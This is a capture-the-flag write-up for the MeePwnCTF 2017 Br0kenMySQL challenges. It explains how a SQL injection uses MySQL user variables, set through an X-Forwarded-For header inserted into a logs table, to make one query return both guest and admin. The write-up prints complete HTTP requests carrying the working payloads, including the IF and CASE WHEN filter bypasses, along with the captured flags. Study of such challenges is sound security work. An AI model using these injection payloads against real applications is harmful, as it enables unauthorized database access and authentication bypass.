MeepwnCTF 2017 - Br0kenMySQL 1-2-3

SQL injection, it's not only about %27, everything is Art. The author is the artist, and the competitor is critic. But not me, I'm just a dude want to make some fun, solving those inovative challenge help me remove my limit barriers.

There are 3 tasks.

  1. sourcecode
  2. sourcecode
  3. sourcecode

These were written in PHP and MySQL, you will need knownledge and experience about it.

1.

A very very classic web vulnerability called SQL injection (a kind of *injection*-ish) when you can inject your own query into developer's SQL query, make use of old query to extract information from database, make that query crash or keep it running depend on your purpose (leak full text or single bit, even out of band over other channel such as DNS, combine with XSS,..)

On line 25 when $id combined with SELECT statement to get username out of users table with some filter, then that username strict compare (===) with string guest

On line 36, again, $ip from $_SERVER['HTTP_X_FORWARDED_FOR'] process through same filter will be insert into logs table, in PHP, `$_SERVER['HTTP_X_FORWARDED_FOR']` equal to X-Forwared-for in HTTP request sent to the  PHP script.

On line 38, same $ip  (after filtered) will be SELECT from same users table. But this time this should return admin if we want flag at line 43.

This is confusing when with 2 same query but have 2 difference results. The first thing popped up like an alert box in my mind is using some kind of condition query. More detail, 1st: query return guest if condition A else admin, then change A; 2nd: because A changed so query return admin.

The INSERT query could be abuse for that. In MySQL there is a thing called variable.
They are permanently in same and single connection to database.
My ideas come clear with SQL query look like:

select username from users where id = -1 union select ( 'guest' if @a=1337 else 'admin')
insert into logs values(''),(@a:=1337),('')
select username from users where id = -1 union select ( 'guest' if @a=1337 else 'admin')

But I came first with a solution did not require `union` and `select`.
Enum the id parameter (?id=1,?id=2, ?id=3...) , it turned out 1 is admin and 2 is guest, add a little math-MySQL-magic, trial-error, help from MySQL documents, I have got final payload:


GET /?id=2-if(@a=1337,@a:=1,@a:=0) HTTP/1.1
Host: 139.59.239.133
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 1'),(@a:=1337),('2
Upgrade-Insecure-Requests: 1

With response
Br0kenMySQL
<p style="color: red;">Br0kenMySQL</p>
string(18) "1'),(@a:=1337),('2"
What ???????
Login as guest&amp;admin at the same time ?
Seems our code is broken, here is your bounty
MeePwnCTF{_b4by_tr1ck_fixed}

2.
This is an upgrade version of the first task.
It added more filter select|from|, now I need $id without select, from, and (, ), luckily, now I only need remove ( and ),
In MySQL there are a lot of conditional statement. because IF need his parent-heses, in CASE of fire, break glass, THEN call 114. Oh, did you who am I talking about?

Yeah, it is CASE ... THEN ... ELSE ... END
Debugging INSERT in mysqlclient connected to my test database let me know that I can assign variable's value inside statement, it is just a subquery if I correct.

GET /v2/?id=2-case+when+%40a%3d1337+then+1+else+0+end HTTP/1.1
Host: 139.59.239.133
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: '+@a:=1337+'
Upgrade-Insecure-Requests: 1

Br0kenMySQL
<p style="color: red;">Br0kenMySQL</p>
string(12) "'+@a:=1337+'"
What, again ???????!@#$!@#$!@#$
MeePwnCTF{_I_g1ve__uPPPPPPPP}
http://139.59.239.133/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?debug=%F0%9F%95%B5

3.
Althrough time|date|sec|day was blacklisted but I didn't use any of them.
Yay, same payload for 3rd flag.

Thanks @ml for great challenges. You absolutely should try his CTF challenge repo at Github.

Ref:

  • https://pastebin.com/T7zAcdhb
  • https://pastebin.com/kLAyi6qS
  • https://pastebin.com/v0PAEFNY
  • https://www.owasp.org/index.php/SQL_Injection
  • http://php.net/manual/en/types.comparisons.php
  • http://php.net/manual/en/reserved.variables.server.php
  • https://en.wikipedia.org/wiki/X-Forwarded-For
  • https://dev.mysql.com/doc/refman/5.7/en/user-variables.html
  • https://dev.mysql.com/doc/refman/5.7/en/case.html
  • https://github.com/l4wio/CTF-challenges-by-me/tree/master/meepwn-2017